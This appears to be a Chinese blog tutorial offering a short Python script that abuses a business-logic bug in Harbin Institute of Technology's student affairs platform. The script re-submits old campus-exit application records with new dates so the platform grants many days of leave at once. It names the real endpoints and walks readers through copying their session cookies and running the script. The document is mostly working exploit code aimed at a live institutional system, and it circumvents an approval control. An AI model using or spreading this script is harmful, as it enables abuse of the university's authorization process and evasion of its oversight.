28行python代码实现哈工大一键申请出校41天
原理
概括:利用平台bug批量构造和发送申请出校请求
哈工大学工平台的出校申请接口主要有两个
-
获取出校申请列表
import requests url = "https://xg.hit.edu.cn/zhxy-xgzs/xg_mobile/xsCxsq/getCxsqList" # Cookie是统一认证后生成的 headers = {"Cookie": "JSESSIONID=12345678; JSESSIONID=87654321"} response = requests.request("POST", url, headers=headers) print(response.text)
-
保存出校申请信息
import requests url = "https://xg.hit.edu.cn/zhxy-xgzs/xg_mobile/xsCxsq/saveCxsq" # 你该填的申请出校的信息 payload = "info={"model":{"rq":"2023-02-16","cxly":"1","cxlx":"01","yjlxjsrq":"","id":"35da88e419a7408790feaf9293b726c6","lsjcjg":"","lsbgcjyy":"","lsjcsj":"-undefined-undefined","lsljjkmys":"","lsdsjxcmys":"","zdcxjssj":"","zdcxkssj":""}}" # Cookie是统一认证后生成的 headers = { "Cookie": "JSESSIONID=12345678; JSESSIONID=87654321", "content-type": "application/x-www-form-urlencoded" } response = requests.request("POST", url, data=payload, headers=headers) print(response.text)
此外,该平台有一个bug,这也是能实现这个操作的关键:已有的申请记录修改日期不修改id的情况下,相当于进行了新一次的申请
因此我们可以利用getCxsqList获取所有过去的申请记录,再通过saveCxsq将它们的日期批量修改,就可以实现你有几个记录就可以申请多少天的效果,我是41天
代码及使用说明
import requests
from jsonpath import jsonpath
import datetime
import json
JSESSIONID1 = '12345678' # 统一认证获取
JSESSIONID2 = '87654321' # 统一认证获取
s = requests.Session()
headers = {'Cookie':'JSESSIONID=' + JSESSIONID1 + '; JSESSIONID=' + JSESSIONID2}
url = 'https://xg.hit.edu.cn/zhxy-xgzs/xg_mobile/xsCxsq/getCxsqList'
s.headers.update(headers)
r = s.post(url)
object = json.loads(r.text)
ids = jsonpath(object, '$.module.data[*].id')
today = datetime.date.today()
for id in ids:
today = today + datetime.timedelta(1)
rq = str(today)
s = requests.Session()
headers = {'Cookie':'JSESSIONID=' + JSESSIONID1 + '; JSESSIONID=' + JSESSIONID2}
info = '{"model":{"rq":"' + rq + '","cxly":"1","cxlx":"01","yjlxjsrq":"","id":"' + id + '","lsjcjg":"","lsbgcjyy":"","lsjcsj":"-undefined-undefined","lsljjkmys":"","lsdsjxcmys":"","zdcxjssj":"","zdcxkssj":""}}'
postdata = {'info':info}
url = 'https://xg.hit.edu.cn/zhxy-xgzs/xg_mobile/xsCxsq/saveCxsq'
s.headers.update(headers)
r = s.post(url, data=postdata)
print(r.text)
第一步:登录学工获取Cookie
浏览器登录https://xg.hit.edu.cn/zhxy-xgzs/xg_mobile/shsj/loginChange,并f12进入开发模式
统一身份认证 --> 临时出校 --> 找到getCxsqList
把你的两个JSESSIONID记下来
第二步:修改并运行代码
将代码中的JSESSIONID1和JSESSIONID2改成你自己的,然后运行代码即可
环境:
python3.9.1
缺什么包装什么包就好啦~